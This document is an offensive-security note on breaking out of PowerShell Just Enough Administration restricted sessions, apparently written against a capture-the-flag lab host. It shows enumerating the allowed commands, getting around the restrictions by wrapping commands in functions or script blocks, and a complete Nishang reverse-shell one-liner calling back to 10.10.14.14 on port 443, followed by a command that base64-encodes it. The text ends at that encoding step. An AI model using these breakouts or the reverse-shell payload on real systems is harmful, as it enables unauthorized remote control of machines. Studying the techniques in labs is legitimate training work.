# Just Enough Administration (JEA)

Link: <https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/jea/overview?view=powershell-7.1>

Part of the JEA platform Administrators can:

* Limit what users can do by specifying which cmdlets, functions, and external commands they can run

## What we can do

To view what commands we can run in JEA session run:

```
[10.10.10.210]: PS>Get-Command 

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Clear-Host
Function        Exit-PSSession
Function        Get-Command
Function        Get-FormatData
Function        Get-Help
Function        Measure-Object
Function        Out-Default
Function        Select-Object
```

We might also be able to access environment variables:

```
[10.10.10.210]: PS> $env:username
k.svensson

[10.10.10.210]: PS> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

```

## Breakout

### Define function

We might not be able to run a command directly, but we can try and create a function and run the command inside

```
[10.10.10.210]: PS>get-location
The term 'Get-Location' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was 
included, verify that the path is correct and try again.
    + CategoryInfo          : ObjectNotFound: (Get-Location:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
 
[10.10.10.210]: PS> function gl {get-location}; gl

Path                         
----                         
C:\Users\k.svensson\Documents
```

Other way to do the same is to use the `&` operator with script block

```
[10.10.10.210]: PS> &{ get-location }

Path                         
----                         
C:\Users\k.svensson\Documents
```

## Reverse Shell

We can use Nishang to get a revers shell

From the nishang project grab `Invoke-PowerShellTcpOneLine.ps1` from the `Shells` directory, and remove all the lines but the one, uncomment it, and update the IP / port.

```
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

Encode the powershell

```
cat Invoke-PowerShellTcpOneLine.ps1 | iconv -t utf-16le | base64 -w0
